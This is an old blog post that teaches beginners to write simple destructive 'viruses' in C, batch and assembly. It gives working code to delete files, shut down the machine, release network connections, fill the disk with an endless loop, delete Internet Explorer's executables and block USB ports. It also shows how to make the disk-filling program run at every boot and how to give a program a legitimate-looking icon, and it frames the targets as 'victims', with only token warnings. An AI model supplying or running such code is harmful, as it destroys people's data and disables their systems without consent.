Wednesday, August 11, 2010

Virus code tutorial


Virus code can be coded using several language. The best being c or vbs or dos. Today I teach some basic virus codings. I will be using c, dos and alp/asm(assembly language).These is a very simple Virus coding tutorial just a beginners guide

this is mainly for programmers. this post is just to change their thinking. First lets begin with tiny and simple ones.I will show both codes for windows and linux

First alp/asm
back: add c,b
loop back

This simple script needs no explanation. It will just be eating away your victims memory at a slow space. As you know addition needs some space to store intermediate result. this will be using up the ram. but very less of ram is lost and the user can stop this by just closing the .exe file. As you know a float addition takes up more space than normal addition . You can replace integer addition with float.

Now lets try to create a simple Linux virus in c.

system("poweroff");

This simple script will turn off your victims comp. Now if you can forece this script to load at start up then it will be a nightmare.

let's see one more linux virus of the same type
system("rm *.*");

This will all files with all extension which the user has previlage to delete.Just imagine if the admin runs it then it will create a havoc.

Lets see the same codes for windows.

To delete all files in windows using dos/batch progtraming will be
del *.*
and the code of the shutdown virus will be just shutdown

Now lets disable Internet

ipconfig /release
echo You Internet Been HACKED!


What if you change the extension of a file. It becomes useless.Now let's rename a few file.
rename(old_file_name_with_path,newname");
Now what you can do with this left up to you.Just use your brain and you will make out it's potential.

These are very simple virus just a beginners guide. Just check out the virus codes section for more complex and full fledged Virus coding tutorial. Please dont misuse these virus codes in c

dir>>╚a.exe REPLACING PROGRAM USING C

Hi everybody,at begining of the learning of computer programming it is a dream of almost all student to build a computer virus of his/her own.
Computer virus obviously is a thing that shouldnot be made and used on others computer it is completely illegal in all countries.So make and try this on your own machine.
Now let me explain what do the viruses do.There are several types of computer viruses with different functions(destructive obviously).Some of which delete computers' important files and folders,some change the configuration of your computer system like registry values,some occupy and engulf a large amount of memory space and dump your hard disc.There are some viruses too which can damage your RAM parmanently.
I am going to give here a simple virus program which has only a few lines bur has ability to jam your Hard disc.
The logic behind the program is nothing but making a self growing file which grows to a few MB in one tern and this growth will continue infinitely.
The require ment to make this virus is
OS:-Windows98/xp/2000 MS-DOS
Compiler:-Borland C(Which has Dos Shell)
Source Code:-
//START v.c
#include
#include
void main()
{
while(1)
{
system("dir>>╚a.exe");
}
}
//END
As you can see this is a very little programe.Compiling the programme we get v.exe file.This is our virus.
How it works?-The system call "dir>>╚a.exe" will execute the dos command 'dir' and ridirect its output toa file ╚a.exe(the symbol ╚ can be obtained by pressing 456 on numpad holding alt key).So running the program in a folder having many files and folder will increase the size of ╚a.exe in a great amount.This process will continue to infinity as this is in a while(1) loop;
Best try this on win98.then you cannot delete ╚a.exe from GUI.
For auto running place v.exe in the command folder in windows folder.
In autoexec.bat(win98) or autoexec.NT(winXP/2000) file simply write v.exe.
Each time your window starts v.exe will run automatically.
Try this on your own computer remember the ╚a.exe is the infected file which is growing in size continiously.So to recover, simply delete v.exe and ╚a.exe file from your computer.
For more informaton or any problem please write me.
Bye.

Code:

//START v.c
#include
#include
void main()
{
 while(1)
{
 system("dir>>╚a.exe");
}
}
//END 

Create simple virus by c programming lang.

Create simple virus by c programming language.
(Only for study purpose)
(1) Write c program which shutdown the window operating system?
Answer:
Step 1: Write the following program in TURBO C.
void main (void){
    system("shutdown -s");
}
Step 2: Save the above file. Let file name is close.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (close.exe)
After some time your window operating system will shutdown.
(2) Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times?
Answer:
Step 1: Write the following program in TURBO C.
void main (void)
{
for(; ;)
{
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
}
Step 2: Save the above file. Let file name is internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (internet.exe)
(3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work?
Answer:
Step 1: Write the following program in TURBO C.
void main(void)
{
system("cd c:\\progra~1\\intern~1");
system(“del *.exe”);
system(“cls”);
}
Step 2: Save the above file. Let file name is delete.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (delete.exe)

USB PORT DISABLE



Virus to disable USB portsIn this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.
Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.
1. Download the USB_Block.rar file on to your computer.
2. It contains the following 4 files.
  • block_usb.c (source code)
  • unblock_usb.c (source code)
3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.
3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).
I hope you like this post. Please pass your comments.